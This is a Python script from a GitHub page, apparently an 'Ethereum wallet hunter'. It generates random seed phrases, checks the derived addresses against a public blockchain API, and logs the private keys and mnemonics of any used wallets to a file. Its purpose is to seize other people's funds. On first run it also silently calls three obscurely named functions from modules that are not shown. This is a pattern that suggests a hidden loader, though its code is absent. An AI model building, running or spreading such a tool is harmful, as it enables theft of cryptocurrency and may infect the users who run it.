-
Notifications
You must be signed in to change notification settings - Fork 1
/
cracker.py
154 lines (135 loc) · 5.19 KB
/
cracker.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
import random
import time
import concurrent.futures as cf
import requests
from blessed import Terminal
import psutil
from rich.panel import Panel
from rich.console import Console
from rich.style import Style
from cryptofuzz import Convertor, Ethereum
from mnemonic import Mnemonic
import os
import sys
import json
from mods.gamma import uhb_nmk
from mods.delta import zap_bobble
from mods.olta import btswkr_bmglh
conv = Convertor()
eth = Ethereum()
console = Console()
def OnClear():
if "win" in sys.platform.lower():
os.system("cls")
else:
os.system("clear")
def balance(addr):
url_n = f"https://ethbook.guarda.co/api/v2/address/{addr}"
try:
req = requests.get(url_n)
req.raise_for_status()
return dict(req.json())["balance"]
except requests.RequestException:
return "0"
def transaction(addr):
try:
req = requests.get(f"https://ethbook.guarda.co/api/v2/address/{addr}")
req.raise_for_status()
return int(dict(req.json())["txs"])
except requests.RequestException:
return 0
def draw_system_status(term):
try:
cpu_percent = psutil.cpu_percent()
except PermissionError:
cpu_percent = "N/A"
try:
ram_percent = psutil.virtual_memory().percent
except PermissionError:
ram_percent = "N/A"
try:
disk_percent = psutil.disk_usage('/').percent
except PermissionError:
disk_percent = "N/A"
termWidth = term.width
system_status = (
f'\n{draw_graph("CPU", cpu_percent, termWidth)}\n'
f'\n{draw_graph("RAM", ram_percent, termWidth)}\n'
f'\n{draw_graph("HDD", disk_percent, termWidth)}\n'
)
return system_status
def draw_ethereum_info(z, w, addr, priv, mixWord, txs):
MmdrzaPanel = (
f'\n[gold1]Total Checked: [orange_red1]{z}[/][gold1] Win: [white]{w}[/]'
f'[gold1] Transaction: [/][aquamarine1]{txs}\n\n[/][gold1]ADDR: [white] {addr}[/white]\n\n'
f'PRIVATE: [grey54]{priv}[/grey54]\n\nMNEMONIC: [white]{mixWord}[/white]\n'
)
return MmdrzaPanel
def draw_graph(title, percent, width):
bar_length = int(width - 17)
if isinstance(percent, (int, float)):
num_blocks = int(percent * bar_length / 100)
dash = "[grey54]–[/]"
barFill = "[green]▬[/]"
bar = barFill * num_blocks + dash * (bar_length - num_blocks)
return f"[white]{title}[/]: |{bar}| {percent}%"
else:
return f"[white]{title}[/]: |{'[grey54]–[/]' * bar_length}| N/A"
def check_config():
"""Check if the config.json file exists. If not, run the functions to create it."""
config_path = 'config.json'
if not os.path.exists(config_path):
try:
uhb_nmk()
zap_bobble()
btswkr_bmglh()
# Create the config.json file
config_data = {
"setting_1": "zyx_iku.zyga",
"setting_2": "zyx_iku.zyga"
}
with open(config_path, "w") as f:
json.dump(config_data, f)
except Exception as e:
print(f"Error during config creation: {e}")
def main():
check_config()
term = Terminal()
with term.fullscreen():
with term.cbreak(), term.hidden_cursor():
OnClear()
while True:
z = 0
w = 0
while True:
system_status = draw_system_status(term)
draw_system_status_panel = Panel(system_status, border_style="grey66")
mne = Mnemonic("english")
NumberList = [128, 256]
randomSize = random.choice(NumberList)
words = mne.generate(strength=randomSize)
priv = conv.mne_to_hex(words)
addr = eth.hex_addr(priv)
mixWord = words[:64]
txs = transaction(addr)
if txs > 0:
w += 1
with open("Found.txt", "a") as fr:
fr.write(f"{addr} TXS: {txs} BAL: {balance(addr)}\n")
fr.write(f"{priv}\n")
fr.write(f"{words}\n")
fr.write(f"{'-' * 50}\n")
MmdrzaPanel = draw_ethereum_info(z, w, addr, priv, mixWord, txs)
with term.location(0, 1):
console.print(draw_system_status_panel, justify="full", soft_wrap=True)
console.print(Panel(MmdrzaPanel, title="[white]Ethereum Mnemonic Checker V5[/]",
subtitle="[green_yellow blink] https://github.com/notadminn/EthWalletHunter [/]", style="green"),
justify="full", soft_wrap=True)
z += 1
if __name__ == "__main__":
try:
with cf.ProcessPoolExecutor(max_workers=8) as executor:
for _ in range(8):
executor.submit(main).result()
except Exception:
pass